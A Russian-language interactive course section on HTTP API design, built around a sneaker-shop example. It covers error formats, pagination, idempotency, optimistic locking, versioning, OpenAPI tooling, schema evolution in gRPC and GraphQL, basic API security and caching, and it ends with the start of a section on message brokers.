Леонард Ричардсон предложил оценивать HTTP API по четырём уровням, а Мартин Фаулер в 2010 году сделал эту схему известной. Посмотрите, как одна и та же операция — «создать заказ и узнать, что с ним можно делать» — выглядит на каждом уровне.
«Отмена заказа: POST /v1/orders/{orderId}/cancellation. Метод не идемпотентен по HTTP. Повтор допускается: если заказ уже отменён, сервер возвращает тот же результат, что и в первый раз (см. „Идемпотентность“).»
глава 4 · ответы коды ответов и заголовки: язык, который понимают все
Коды читают не только люди. Шлюз решает по ним, повторять ли запрос. Кеш — можно ли сохранить ответ. Мониторинг считает долю 5xx и будит дежурного. Поэтому ответ 200 OK с телом {"error": "заказ не найден"} — это ложь всем сразу: шлюз закеширует ошибку, мониторинг покажет «всё отлично», а клиент должен разбирать тело, чтобы понять, успех ли это.
Табло кодов: нажимайте
Здесь 18 кодов, которые встречаются в проектировании API чаще всего. У каждого — смысл, пример из «Ботинка», что летит по проводу и типичная ошибка. Изучено: 0 из 18.
Заголовки, без которых не обойтись
| Заголовок | Где | Что значит | Пример |
|---|---|---|---|
Location | ответ | Где лежит созданный ресурс (с 201), где следить за операцией (с 202), куда перейти (с 3xx). | Location: /v1/orders/ord-1043 |
ETag | ответ | Метка версии представления. Нужна для кеша (If-None-Match → 304) и для защиты от затирания чужих правок (If-Match → 412). Глава 8. | ETag: "v8" |
Cache-Control | ответ | Кому и сколько можно хранить ответ. max-age — сколько секунд ответ свежий; private — только в браузере пользователя; no-store — не сохранять нигде. | Cache-Control: private, max-age=60 |
Retry-After | ответ | Через сколько секунд (или после какой даты) повторить. С 503 и 429 обязателен по смыслу, иначе клиенты будут долбить в цикле. Многие API ставят его и к 202 — как подсказку, когда спрашивать статус. | Retry-After: 30 |
Content-Type / Accept | оба | Формат тела: что прислали и что клиент готов принять. | Content-Type: application/problem+json |
Idempotency-Key | запрос | Ключ намерения для безопасных повторов. Глава 7. | Idempotency-Key: "5f0c…" |
If-Match / If-None-Match | запрос | Условные запросы: «выполни, только если версия такая-то» / «отдай, только если изменилось». | If-Match: "v7" |
Deprecation / Sunset | ответ | «Этот ресурс устарел» и «после этой даты перестанет работать». Глава 10. | Sunset: Wed, 31 Mar 2027 23:59:59 GMT |
глава 5 · ошибки ошибки по стандарту: Problem Details
Первая неделя интеграции. Вика, разработчица «Стеллажа», пишет Олегу: «У вас три метода — и три формата ошибок». Метод создания заказа отвечает {"error": "bad request"}. Метод оплаты — {"code": 17, "message": "..."}. А когда сервис лежит, шлюз отдаёт HTML-страницу с надписью «502 Bad Gateway». Вика пишет три разных разбора ошибок, и ни один не помогает понять, что исправить.
application/problem+json.Разберите ответ по строкам
Анна отправила заказ с двумя ошибками: количество «0» и дата доставки в прошлом. Вот что ответил сервер. Нажимайте на строки — под кодом появится пояснение.
Пять стандартных полей и расширения
| Поле | Что это | Правило |
|---|---|---|
type | URI — идентификатор вида проблемы | По нему клиент решает, что делать. Хорошо, если это ссылка на страницу документации. Если поля нет, оно считается равным about:blank — «проблема = просто код статуса». |
title | короткое название вида проблемы | Одинаковое для всех случаев этого type. Не пишите сюда подробности конкретного случая. |
status | код HTTP | Копия кода из строки ответа — для удобства, например, когда тело сохранили в журнал. Главным остаётся настоящий код ответа. |
detail | объяснение этого случая | Должно помогать исправить запрос: что именно не так и как быть. Не стек вызовов, не SQL. |
instance | URI этого конкретного случая | Номер, по которому поддержка найдёт запрос в журналах. Может быть ссылкой, а может быть просто уникальным именем. |
| расширения | любые свои поля | Например, errors со списком ошибок полей или traceId. Стандарт требует от клиентов игнорировать незнакомые расширения — значит, добавлять их можно без поломок. |
Бизнес-ошибка в том же формате
Анна пытается отменить заказ, который уже у курьера. Это не ошибка ввода, а конфликт с текущим состоянием — код 409:
HTTP/1.1 409 Conflict
Content-Type: application/problem+json
{
"type": "https://api.botinok.example/problems/order-already-shipped",
"title": "Заказ уже передан в доставку",
"status": 409,
"detail": "Заказ ord-1042 передан курьеру 30.09 в 14:05. Отменить его нельзя — оформите возврат после получения.",
"instance": "/v1/orders/ord-1042/cancellation"
}
Правила хорошей ошибки
Честный код
Никаких 200 с ошибкой внутри и никаких 500 на ошибку клиента. Код — первое, что видят шлюзы, мониторинг и логика повторов.
Без внутренностей
Стек вызовов, текст SQL, имена серверов помогают только взломщику. А ещё они становятся частью контракта: кто-то начнёт разбирать текст исключения (закон Хайрама).
Все ошибки полей сразу
Если в заказе пять ошибок, верните все пять в списке errors. Иначе Анна будет исправлять форму пять раз подряд. У каждой ошибки — указатель на поле (pointer в формате JSON Pointer).
Один формат везде
Шлюз, балансировщик и прокси тоже должны отвечать в application/problem+json, а не своей HTML-страницей. Это настройка, её надо заказать явно.
code: "ORDER_ALREADY_SHIPPED". По стандарту эту роль играет type. Дублировать можно, но закрепите, какое поле главное. И помните: список type — часть контракта. Новый вид ошибки совместим, только если клиенты умеют обработать незнакомый type по классу кода (4xx / 5xx).«Все ошибки возвращаются в формате RFC 9457 (application/problem+json). Ошибки проверки полей — код 422, type = …/validation-error, список errors[] с полями pointer и detail; возвращаются все ошибки запроса сразу.»
Каталог ошибок метода — таблица: код HTTP · type · когда возникает · что делает клиент.
глава 6 · списки длинные списки: пагинация, фильтры, сортировка
В приложении есть экран «Мои заказы». А «Стеллаж» каждую ночь выгружает все заказы за сутки — десятки тысяч. Отдать всё одним ответом нельзя. 40 000 заказов по 2 КБ — это 80 МБ JSON. Телефон Анны будет качать это минуту, а сервер — держать в памяти.
Два способа листать
Смещение (offset / limit)
GET /v1/orders?offset=40&limit=20 SELECT … FROM orders ORDER BY created_at DESC LIMIT 20 OFFSET 40;
«Пропусти 40, дай 20». Просто. Можно прыгнуть сразу на седьмую страницу и показать «страница 3 из 12».
Беды: если во время листания в начало списка добавился заказ, всё сдвигается — будет дубль. Если заказ удалили — будет пропуск. А на глубоких страницах база честно перебирает и выбрасывает все пропущенные строки.
Курсор (cursor / keyset)
GET /v1/orders?limit=20&cursor=eyJjcmVhdGVkQXQi…
SELECT … FROM orders
WHERE (created_at, id) < ('2026-09-30 19:31', 'ord-1037')
ORDER BY created_at DESC, id DESC
LIMIT 20;
«Дай 20 после вот этого». Курсор хранит значения сортировки последнего показанного заказа. База по индексу сразу прыгает в нужное место.
Плата: нельзя прыгнуть на седьмую страницу, общее число страниц неизвестно, сортировать можно только по полям с индексом.
Живая модель: листаем, пока приходят новые заказы
Слева — таблица заказов в базе, новые сверху. Справа — то, что уже показано клиенту. Страница — 5 заказов. Загрузите пару страниц, потом нажмите «Пришёл новый заказ» или «Удалить показанный заказ» и загрузите следующую страницу. Потом переключитесь на курсор и повторите.
🗄 База · orders, новые сверху
📱 Что увидел клиент
Глубокие страницы: сколько строк перебирает база
У «Стеллажа» 400 000 заказов, страница — 20 штук. Двигайте номер страницы.
Фильтры, сортировка, выбор полей, поиск
| Что | Как выглядит | О чём договориться в контракте |
|---|---|---|
| Фильтры | ?status=paid&createdFrom=2026-09-01T00:00:00%2B03:00 | Список фильтруемых полей. Как передавать несколько значений: ?status=paid,shipped или ?status=paid&status=shipped — выберите одно. Даты — в формате RFC 3339 с часовым поясом. |
| Сортировка | ?sort=-createdAt,total | Минус — по убыванию. Разрешайте только поля, по которым есть индекс, и перечислите их. Сортировка по умолчанию — явно. Последним ключом — уникальное поле (id), иначе при равных датах заказы теряются на стыке страниц. |
| Выбор полей (sparse fieldsets) | ?fields=id,status,total | Экрану списка в приложении не нужен весь заказ с адресом и позициями. Меньше данных — быстрее на мобильной сети. В стандарте JSON:API это fields[orders]=status,total. |
| Поиск | ?q=ботинок | По каким полям ищет, учитывает ли опечатки. Если условие огромное и не лезет в адрес — POST /v1/orders/search с телом. Для таких случаев в IETF готовится безопасный метод QUERY с телом (пока черновик), а OpenAPI 3.2 уже умеет его описывать. |
| Размер страницы | ?limit=20 | Значение по умолчанию (20) и максимум (100). Что будет при limit=10000: ошибка 400 или молча 100 — запишите. |
| Общее число | "totalCount": 40213 | Дорого: база считает все строки по фильтру. Давайте только если без него никак, или приблизительно. |
Как выглядит ответ со страницей. Ссылку на следующую страницу можно отдать и в теле, и в заголовке Link (RFC 8288):
HTTP/1.1 200 OK
Link: <https://api.botinok.example/v1/orders?limit=20&cursor=eyJjcmVhdGVkQXQi…>; rel="next"
{
"items": [ { "id": "ord-1041", "status": "paid", "total": 4990 }, … ],
"nextCursor": "eyJjcmVhdGVkQXQiOiIyMDI2LTA5LTMwVDE5OjMxOjAwKzAzOjAwIiwiaWQiOiJvcmQtMTAzNyJ9",
"hasMore": true
}
«Список заказов возвращается порциями по limit (по умолчанию 20, максимум 100; больше — ошибка 400) в порядке убывания даты создания, при равных датах — по убыванию id. Для следующей порции клиент передаёт nextCursor из предыдущего ответа без изменений. Заказы, созданные во время листания, в текущую выдачу не попадают. Дубли и пропуски исключены.»
глава 7 · идемпотентность двойное «Оплатить»
19:40, метро. Анна жмёт «Оплатить 7 980 ₽». Приложение десять секунд крутит колёсико и пишет «Ошибка сети». Анна жмёт ещё раз — и всё проходит. Через минуту приходят две SMS о списании.
Что случилось на самом деле? Первый запрос дошёл, деньги списались, а ответ потерялся в тоннеле. Приложение не может отличить «запрос не дошёл» от «ответ не дошёл»: в обоих случаях оно просто ничего не получило. Основы идемпотентности уже разобраны в разделе . Здесь — как это спроектировать до конца: что хранит сервер, что отвечать в каждом случае и что записать в контракт.
Idempotency-Key) — уникальная строка, которую клиент придумывает на одно намерение («оплатить заказ ord-1042») и повторяет в каждом повторе. По ключу сервер узнаёт повтор и отдаёт сохранённый ответ вместо повторного выполнения.draft-ietf-httpapi-idempotency-key-header (последняя редакция — 07, октябрь 2025). Стандартом RFC он пока не стал, но именно так устроены API крупных платёжных сервисов. Черновик рекомендует: значение — строка (обычно UUID); ключ без тела другого запроса не переиспользуется; срок хранения ключей сервер публикует в документации.Живая модель: оплата с потерянным ответом
Выберите защиту, потом сценарий. Модель проиграет его по шагам: следите за летящими запросами, таблицей платежей и таблицей ключей на сервере.
Как сервер обрабатывает ключ — по шагам
CREATE TABLE idempotency_keys ( client_id text NOT NULL, -- кто прислал: у разных клиентов ключи не пересекаются key text NOT NULL, -- значение Idempotency-Key fingerprint char(64) NOT NULL, -- SHA-256 от метода, пути и тела запроса state text NOT NULL, -- in_progress | completed status_code int, -- сохранённый код ответа response jsonb, -- сохранённое тело ответа expires_at timestamptz NOT NULL, -- обычно через 24 часа PRIMARY KEY (client_id, key) -- из двух одновременных вставок пройдёт одна );
Естественно идемпотентные операции
Лучший ключ идемпотентности — тот, который не нужен. Многие операции можно спроектировать так, что повтор безвреден сам по себе:
«Установи», а не «измени на»
PUT … {"status": "cancelled"} — идемпотентно. «Увеличь количество на 1» — нет: каждый повтор добавит ещё пару кроссовок. Проектируйте команды как «установи значение», где можно.
Естественный уникальный ключ
«Начислить бонусы за заказ ord-1042» — пусть в таблице начислений будет уникальное ограничение на (заказ, причина). Второе начисление просто не вставится.
Клиент задаёт идентификатор
PUT /v1/orders/{uuid-от-клиента} — повтор создаст тот же заказ по тому же адресу, а не второй. Годится, когда клиенту можно доверить выбор идентификатора.
Ключ живёт у клиента
Приложение создаёт ключ, когда Анна начала оплату, и хранит его до окончательного ответа. Новый ключ — только для нового намерения: другая сумма, другая корзина.
«POST /v1/payments требует заголовок Idempotency-Key (UUID). Без заголовка — 400. Повтор с тем же ключом и тем же телом в течение 24 часов возвращает сохранённый ответ первого запроса без повторного списания. Тот же ключ с другим телом — 422 (type = …/idempotency-key-reused). Повтор, пока первый запрос ещё выполняется, — 409; клиент повторяет через время из Retry-After. Ключи привязаны к клиенту (к учётной записи из токена).»
глава 8 · одновременные правки два редактора и одна карточка товара
Утро понедельника. Олег готовит акцию и в админке ставит кроссовкам «Ботинок Air» цену 6 990 вместо 7 980. В ту же минуту Борис правит описание той же карточки: дописывает «водонепроницаемые». Оба открыли карточку в 10:00. Олег сохранил в 10:02, Борис — в 10:03. Через час рассылка обещает покупателям 6 990, а на сайте висит 7 980. Никто не получил ни одной ошибки.
ETag: "v7" и меняет при каждом изменении ресурса.If-Match: "v7"). Если версия изменилась — отказ 412 Precondition Failed, клиент перечитывает и повторяет.Живая модель: Олег, Борис и сервер
Как это устроено внутри
-- ETag = номер версии строки UPDATE products SET price = 6990, description = '…', version = version + 1 WHERE sku = 'BTN-AIR' AND version = 7; -- версия из If-Match -- изменена 1 строка → 200 OK, ETag: "v8" -- изменено 0 строк → кто-то успел раньше → 412 Precondition Failed
Почему не «запереть карточку»
Пессимистическая блокировка — «карточку редактирует Олег, остальным нельзя». В вебе она плохо работает: Олег закрыл вкладку и ушёл на обед, а замок висит. Нужны сроки, принудительное снятие, и всё равно кто-то ждёт. Оптимистическая никого не ждёт, а конфликт ловит в момент записи.
Что делать клиенту на 412
Не перезаписывать силой. Перечитать карточку (новый ETag), показать человеку, что изменилось («цену поменял Олег: 7 980 → 6 990»), наложить свои правки на свежую версию и отправить с новым If-Match.
Если If-Match не прислали
Сервер может требовать условный запрос и отвечать 428 Precondition Required (RFC 6585). Так забывчивый клиент не сможет затереть чужие правки.
Сильный и слабый ETag
W/"v8" — слабая метка: «по смыслу то же самое». Годится для кеша. Для If-Match нужна сильная метка без W/ — сравнение там строгое.
If-Match всё равно не обойтись.«PUT и PATCH /v1/products/{sku} требуют заголовок If-Match со значением ETag из последнего GET. Если карточку изменили после чтения — 412 (Problem Details, type = …/stale-version); интерфейс показывает актуальную версию и различия. Без If-Match — 428.»
глава 9 · тяжёлые операции долго, много, тяжело
Долгие операции: 202 Accepted и ресурс статуса
«Стеллаж» просит отчёт по продажам за год. Сервер собирает его три минуты. Держать HTTP-соединение три минуты нельзя: шлюз оборвёт его через 30–60 секунд и ответит 504, мобильная сеть — ещё раньше. А клиент так и не узнает, собрался отчёт или нет.
POST.Опрос (polling)
Просто, работает через любой файрвол, клиенту не нужен свой сервер. Минус — лишние запросы «ещё нет?». Подсказывайте частоту через Retry-After.
Вебхук
Мгновенно и без лишних запросов. Но у клиента должен быть доступный адрес, а у вас — повторы при неудаче, подпись и журнал доставок.
Асинхронные API и AsyncAPI
Когда сервисы обмениваются событиями через брокер (подробно — в разделе ), контракт тоже нужен: какие каналы, какие сообщения, какие поля. Для HTTP его пишут в OpenAPI, а для событий — в AsyncAPI.
webhooks.asyncapi: 3.0.0
info:
title: События заказов «Ботинка»
version: 1.2.0
channels:
orderPaid:
address: orders.paid # тема в брокере
messages:
orderPaid:
payload:
type: object
required: [eventId, orderId, paidAt]
properties:
eventId: { type: string, format: uuid } # для идемпотентной обработки
orderId: { type: string }
paidAt: { type: string, format: date-time }
operations:
publishOrderPaid:
action: send # сервис заказов отправляет
channel:
$ref: '#/channels/orderPaid'
Массовые операции (batch)
Каждую ночь «Стеллаж» обновляет статусы пяти тысяч заказов. Пять тысяч отдельных запросов — это пять тысяч раз время сети туда и обратно, и партнёр быстро упрётся в лимит (429). Поэтому делают пакетный метод:
POST /v1/order-status-updates
Content-Type: application/json
{ "updates": [
{ "orderId": "ord-1042", "status": "delivered" },
{ "orderId": "ord-9999", "status": "delivered" }
] }
HTTP/1.1 200 OK
{ "results": [
{ "index": 0, "status": 200 },
{ "index": 1, "status": 404, "problem": { "type": "https://api.botinok.example/problems/order-not-found",
"title": "Заказ не найден" } }
] }
Всё или ничего?
Главный вопрос пакета. Атомарный пакет: одна ошибка — откат всего, ответ 422 с номером проблемного элемента. Частичный: каждый элемент сам по себе, ответ со статусом по каждому. Выбор записывают в контракт.
Код ответа
При частичном успехе чаще отвечают 200 с результатами по элементам. Некоторые API используют 207 Multi-Status — код из WebDAV. Клиент повторяет только неуспешные элементы.
Пределы
Максимум элементов в пакете (например, 500) и максимальный размер тела. Пакет на 100 000 элементов — это снова «долгая операция», и ему нужен 202.
?fields=, глава 6), и докачка больших файлов по частям: клиент просит Range: bytes=1048576-, сервер отвечает 206 Partial Content. Оборвалась загрузка на 80 % — докачиваем оставшиеся 20 %.Загрузка файлов: подписанная ссылка
«Стеллаж» загружает фото товаров по 20 МБ. Если гнать их через API-сервер, он держит в памяти мегабайты, соединения висят долго, а трафик идёт дважды: к API и от API в хранилище. Кодировать файл в JSON через base64 — ещё хуже: плюс треть к размеру.
multipart/form-data. Для очень больших файлов с докачкой после обрыва есть открытый протокол tus. Что бы вы ни выбрали, в контракте нужны: максимальный размер, допустимые типы файлов, срок жизни ссылки и что происходит с файлом, который загрузили, но не подтвердили.глава 10 · главный интерактив сломает ли клиента?
Борис хочет переименовать total в totalAmount — «так понятнее». Олег просит подождать: «Давай сначала посмотрим, кто и как это поле читает». Это и есть главный навык раздела — до изменения увидеть, кого оно сломает.
Попробуйте сами: выкатите изменение
Слева — исходный контракт заказа: ответ на GET и запрос на создание. Справа — три клиента. У каждого написано, что он читает и как. Выберите изменение, нажмите «Выкатить» — и смотрите, кто упадёт. Потом нажмите «Как сделать без поломки».
Полная таблица: что ломает, а что нет
Нажмите на строку, чтобы увидеть пояснение. Обратите внимание на направление: для ответов (сервер пишет, клиент читает) и запросов (клиент пишет, сервер читает) правила зеркальные. В ответе можно добавлять, но нельзя ослаблять обещания. В запросе можно ослаблять требования, но нельзя их ужесточать.
Если без ломающего изменения никак: версии
| Где версия | Как выглядит | Плюсы | Минусы |
|---|---|---|---|
| В пути | /v1/orders, /v2/orders | Видно глазами, легко маршрутизировать на шлюзе, различают кеши и журналы. | Версия сразу у всего API, даже если поменялся один ресурс. |
| В заголовке | API-Version: 2; версия-дата, как у GitHub: X-GitHub-Api-Version: 2022-11-28 | Адреса не меняются. Удобно выпускать версии часто, по датам. | Не видно в адресе, сложнее отлаживать в браузере. Кешам нужен Vary по этому заголовку. |
| В типе содержимого | Accept: application/vnd.botinok.order.v2+json | Версия у конкретного представления ресурса — самый «правильный» с точки зрения REST вариант. | Самый неудобный на практике: сложно тестировать и документировать. |
| В параметре | ?api-version=2026-09-01 (так делает Microsoft Azure) | Просто передать из любого клиента. | Легко забыть; нужна версия по умолчанию, а она сама становится контрактом. |
/v1) меняется раз в несколько лет, а все повседневные изменения делаются совместимыми без новой версии — по циклу «расширь — мигрируй — сузь» (разобран в разделе ). Сам файл контракта нумеруют по смысловому версионированию: 1.4.0 → 1.5.0 — добавили совместимое, 2.0.0 — сломали. Каждая живая основная версия — это отдельная ветка кода, тестов и документации. Удалить v1 нельзя, пока на ней кто-то сидит.Вывод из эксплуатации: как попрощаться со старым
deprecated: true.Сразу называют дату отключения — иначе «потом удалим» не наступит никогда.Deprecation (RFC 9745, 2025) — с какой даты ресурс устарел. Заголовок Sunset (RFC 8594, 2019) — после какой даты перестанет отвечать. Ссылка на инструкцию — в заголовке Link.Так о выводе узнают даже те, кто не читает рассылки: их клиенты видят заголовки в каждом ответе.HTTP/1.1 200 OK Content-Type: application/json Deprecation: @1790812800 Sunset: Wed, 31 Mar 2027 23:59:59 GMT Link: <https://developer.botinok.example/migrate-to-v2>; rel="deprecation"; type="text/html"
Обратите внимание на форматы дат — они разные по историческим причинам. Deprecation по RFC 9745 — это «дата структурированного поля»: знак @ и число секунд с 1 января 1970 года по UTC (здесь — 1 октября 2026 года, 00:00 UTC). Sunset по RFC 8594 — обычная HTTP-дата.
«Поле customer.phone устарело с 01.10.2026 и будет удалено из ответа GET /v1/orders/{orderId} 31.03.2027. До этой даты ответы содержат заголовки Deprecation и Sunset. Замена — ресурс /v1/customers/{customerId}/contacts. Ответственный за уведомление партнёров — владелец продукта API.»
глава 11 · контракт в файле OpenAPI построчно
Все договорённости из прошлых глав Олег записывает не в вики, а в файл, который понимают программы.
in: querystring). Версия 3.2 обратно совместима с 3.1.Разберите файл: нажимайте на строки
Фрагмент контракта API заказов. Серые строки — служебные; остальные кликабельны.
Что делают с этим файлом
Генерация кода и документации
Генераторы (например, OpenAPI Generator) создают по файлу клиентские библиотеки и заготовки сервера для десятков языков. Документацию с кнопкой «попробовать» строят Swagger UI, Redoc и похожие инструменты. Документация больше не расходится с кодом: она и есть контракт.
Линтинг: Spectral
Линтер проверяет файл на правила стиля: у каждой операции есть operationId, пути в нижнем регистре через дефис, ошибки в application/problem+json. Правила лежат в .spectral.yaml и запускаются в сборке. Руководство по стилю API превращается из PDF в автоматическую проверку.
Поиск ломающих изменений
Утилиты сравнения контрактов (например, oasdiff) сравнивают новую версию файла со старой и валят сборку, если нашли ломающее изменение: удалено поле, появилось обязательное поле в запросе, сменился тип.
Мок-сервер
Мок-сервер (например, Prism или WireMock) поднимается прямо по файлу и отвечает примерами из него. Мобильщики и «Стеллаж» начинают интеграцию в первый день, не дожидаясь Бориса.
# .spectral.yaml — правила стиля API «Ботинка»
extends: ["spectral:oas"] # базовые правила для OpenAPI
rules:
paths-kebab-case:
description: Пути — только строчные буквы, цифры и дефис
given: "$.paths[*]~" # ~ означает «ключи»: сами пути
severity: error
then:
function: pattern
functionOptions:
match: "^(/([a-z0-9-]+|\\{[a-zA-Z]+\\}))+$"
Контрактные тесты: Pact и договоры от потребителя
GET /v1/orders/ord-1042, жду 200 и поля id, status, total — целое число». Тест гоняется против заглушки Pact.total — упал договор мобильного приложения, и сборка красная ещё до выкладки.can-i-deploy спрашивает брокер: совместима ли эта версия со всеми версиями потребителей, которые сейчас работают в бою.глава 12 · другие протоколы gRPC и GraphQL: как растут схемы
Внутри «Ботинка» склад и заказы говорят по gRPC, а приложению для витрины сделали GraphQL. Как устроены эти способы связи, рассказано в разделе . Здесь — только эволюция схем: что можно менять и как не сломать соседей.
Protobuf: поле — это номер, а не имя
syntax = "proto3";
message Order {
string id = 1;
OrderStatus status = 2;
int64 total = 3; // сумма в копейках
string currency = 4;
reserved 5; // было: string phone = 5; удалено в версии 1.3
reserved "phone"; // и имя тоже нельзя занять снова
optional string delivery_date = 6; // optional: можно отличить «нет» от «пусто»
repeated Item items = 7;
}
enum OrderStatus {
ORDER_STATUS_UNSPECIFIED = 0; // нулевое значение — «не указано»
ORDER_STATUS_NEW = 1;
ORDER_STATUS_PAID = 2;
ORDER_STATUS_SHIPPED = 3;
}
По проводу летят номера
В двоичном формате Protobuf поле опознаётся по номеру, а не по имени. Имя нужно только для кода и для JSON-представления. Поэтому номер существующего поля менять нельзя никогда.
reserved — могила для номера
Удалили поле — зарезервируйте его номер и имя. Если номер 5 занять новым полем string address = 5, старые клиенты прочтут адрес как телефон — и никто не заметит.
Новые поля — безопасно
Добавить поле с новым номером можно: старый код незнакомое поле пропустит. Новый код, получив сообщение от старого, увидит значение по умолчанию.
optional и значения по умолчанию
Обычное поле proto3 не отличает «прислали 0» от «не прислали». Ключевое слово optional (штатно с protobuf 3.15) добавляет признак присутствия. Для перечислений нулевое значение — всегда «не указано»; новое значение у старого клиента окажется нераспознанным числом, и у кода должна быть ветка «иначе».
.proto ставят в сборку — например, командой buf breaking, которая сравнивает схему с предыдущей версией.GraphQL: эволюция без версий
type Order {
id: ID!
status: OrderStatus!
total: Int! @deprecated(reason: "Используйте totalAmount: сумма с копейками и валютой")
totalAmount: Money!
}
Добавлять — всегда можно
Клиент GraphQL сам перечисляет нужные поля. Новое поле старый клиент просто не запросит — поэтому добавление ничего не ломает.
Удалять — через @deprecated
Поле или значение перечисления помечают @deprecated(reason: …). Инструменты подсвечивают его у разработчиков клиентов, а сервер видит статистику: кто ещё запрашивает старое поле. Когда таких не осталось — удаляют.
Обязательность
Зеркальное правило REST: сделать поле ответа из Int! необязательным Int — ломает (клиент не ждёт null). Сделать аргумент из необязательного обязательным — ломает запросы.
Новое значение enum
Как и в REST: клиенты со строгим перечислением падают. Договаривайтесь заранее, что список может расти, и проверяйте по статистике использования.
Тренажёр: совместимо, осторожно или ломает?
Решено 0 из 0.
глава 13 · безопасность и скорость чтобы API не взломали и не ждали
Коротко о безопасности — ровно то, что аналитик обязан записать в постановку. Подробно о защите — в разделах и .
🔐 Аутентификация: кто вы
Приложение Анны и «Стеллаж» приходят с токеном OAuth 2.0: Authorization: Bearer …. Партнёр получает токен как сервис (поток client credentials), Анна — через вход в приложение. Нет токена или он истёк — 401.
🎫 Scope: что вам можно
Scope (область доступа) — право, записанное в токене: orders:read, orders:write. «Стеллажу» выдают только то, что нужно для его сценария. Не хватает scope — 403.
Лишние поля в запросе
Приложение прислало в PATCH не только адрес, но и "status": "paid" или "price": 1. Если сервер записывает всё подряд — это «массовое присваивание». Принимайте только поля из контракта для этой операции и отдавайте только нужные. В OWASP это пункт API3:2023.
Лимиты и размеры
Квота на клиента (например, «Стеллажу» 50 запросов в секунду), превышение — 429 с Retry-After. Максимальный размер тела — иначе 413 Content Too Large. Максимальный limit в списках. В OWASP это API4:2023 — «неограниченное потребление ресурсов». Механика лимитов — в разделе .
CORS
CORS (Cross-Origin Resource Sharing) — правило браузера: скрипт со страницы одного сайта может читать ответы API другого сайта, только если API разрешил это заголовком Access-Control-Allow-Origin. Для «непростых» запросов браузер сначала шлёт предварительный OPTIONS. CORS защищает пользователей браузера, а не ваш API: серверы и утилиты его не соблюдают. * вместе с передачей cookies браузер не примет.
Мелочи, которые важны
Только HTTPS. Никаких токенов и персональных данных в адресе: адрес оседает в журналах шлюзов и в истории браузера. Ошибки без внутренностей (глава 5). Непрозрачные идентификаторы (глава 2).
Скорость: кеш, сжатие, «болтливость»
Кеширование HTTP
Каталог товаров меняется редко: Cache-Control: public, max-age=300 — пять минут его можно брать из кеша браузера, CDN или шлюза. Персональное — private, чувствительное — no-store. Повторная проверка: клиент шлёт If-None-Match: "v8", сервер отвечает 304 Not Modified без тела. Запрос всё равно идёт, но трафика почти нет. Подробно — в разделе .
Сжатие
Клиент говорит Accept-Encoding: gzip, br, сервер отвечает Content-Encoding: br. JSON с его повторяющимися именами полей сжимается в разы — для мобильной сети это заметно.
N+1 на уровне API — частый случай болтливости. Экран списка загрузил 20 заказов (1 запрос), а потом для каждого отдельно запросил позиции (ещё 20). Лечится так: включать связанные данные в ответ (?include=items), читать пачкой (GET /v1/orders?ids=…) или завести BFF.
Калькулятор: сколько ждёт экран «Мой заказ»
Экрану нужны заказ, позиции, доставка, статус оплаты и рекомендации. Часть запросов зависит друг от друга: чтобы спросить доставку, сначала нужен номер заказа. Это «цепочка».
«Экран „Мой заказ“ загружается одним запросом к мобильному BFF: GET /bff/v1/screens/order/{orderId}. Время ответа BFF — не более 400 мс для 95 % запросов при 200 запросах в секунду. Ответ кешируется на клиенте на 30 секунд (Cache-Control: private, max-age=30).»
глава 14 · постановка как аналитику описать метод API
Всё, о чём мы говорили, Олег собирает в описание каждого метода. Хорошая постановка отвечает на вопросы разработчика, тестировщика и партнёра до того, как они их зададут. Как оформлять остальную архитектурную документацию — решения, схемы, описания систем, — рассказано в разделе .
Шаблон описания метода
Пример: параметры тела для POST /v1/orders
| Поле | Тип | Обяз. | Формат и ограничения | Пример | Описание |
|---|---|---|---|---|---|
items | массив | да | 1–50 элементов | — | Позиции заказа |
items[].sku | строка | да | шаблон ^[A-Z0-9-]{3,32}$; товар есть в каталоге | BTN-AIR-42 | Артикул товара с размером |
items[].qty | целое | да | 1–10 | 1 | Количество |
address | объект | да | см. «Адрес» | — | Адрес доставки |
deliveryDate | строка | нет | дата RFC 3339 (ГГГГ-ММ-ДД), не раньше завтра, не позже +30 дней | 2026-10-03 | Желаемая дата. Нет — ближайшая доступная |
comment | строка | нет | до 500 символов; null = нет комментария | домофон не работает | Комментарий курьеру |
externalId | строка | нет | до 64 символов; уникален в рамках партнёра | STL-55120 | Номер заказа в системе партнёра |
Частые ошибки в постановках
Конструктор эндпоинта
Выберите задачу. Предложите метод, адрес, код успешного ответа и главную ошибку. Нажмите «Проверить» — получите разбор. Иногда верных вариантов несколько: конструктор это учитывает. Решено 0 из 8.
глава 15 · проверь себя двенадцать вопросов
Вопросы — по всем главам. После ответа появится разбор. Решено 0 из 0.
Брокер сообщений — это почта между сервисами: отправитель сдаёт письмо и идёт дальше, а почта хранит его, пока адресат не заберёт. Раздел проведёт одна история: магазин кроссовок «Ботинок» готовится к Чёрной пятнице. Заказы должны дойти до склада, уведомлений и аналитики — даже если кто-то из них упал, тормозит или его ещё не существует. По дороге разберём Kafka и RabbitMQ по винтику: партиции, смещения, реплики, подтверждения, обменники. Всё можно ломать руками.
зачем это зачем магазину брокер сообщений
карта раздела одна Чёрная пятница, шестнадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Раздел углубляет главы 6–7 раздела «Как сервисы говорят»: там — идея очереди и события, здесь — как это устроено внутри настоящих брокеров. Кнопка переносит к главе.
глава 1 · завязка Чёрная пятница: почему заказ нельзя «просто отправить складу»
Магазин кроссовок «Ботинок». В обычный день приходит около ста заказов в минуту. В полночь Чёрной пятницы — в двадцать раз больше. Каждый заказ нужен четырём сервисам:
🛒 Заказы
Принимают заказ Анны и сохраняют его. С них всё начинается.
📦 Склад
Резервирует пару кроссовок, чтобы её не продали второй раз.
✉️ Уведомления
Шлют SMS и письмо «Заказ принят».
📊 Аналитика
Считает продажи для утреннего отчёта аналитика Олега.
Год назад сервис заказов звонил каждому из трёх напрямую и ждал ответа. В 00:03 аналитика не выдержала нагрузки и стала отвечать по 10 секунд. Заказы ждали её, и через минуту магазин не принимал ни одного заказа. Так один медленный сосед роняет всех — подробно этот эффект разобран в разделе «Устойчивость».
Разработчик Борис предложил: пусть заказы не звонят, а оставляют сообщение в специальном месте. Кому нужно — заберёт сам, когда сможет. Это место и называется брокером.
Продюсер (producer)
Тот, кто отправляет сообщение в брокер. У нас — сервис заказов. Ещё говорят «издатель», «отправитель».
Консьюмер (consumer)
Тот, кто забирает и обрабатывает сообщение. У нас — склад, уведомления, аналитика. Ещё говорят «потребитель», «подписчик».
Сообщение (message, record)
Порция данных: ключ (о ком речь), тело (что случилось), заголовки (служебные пометки) и время.
Четыре выгоды брокера
1. Развязка по времени
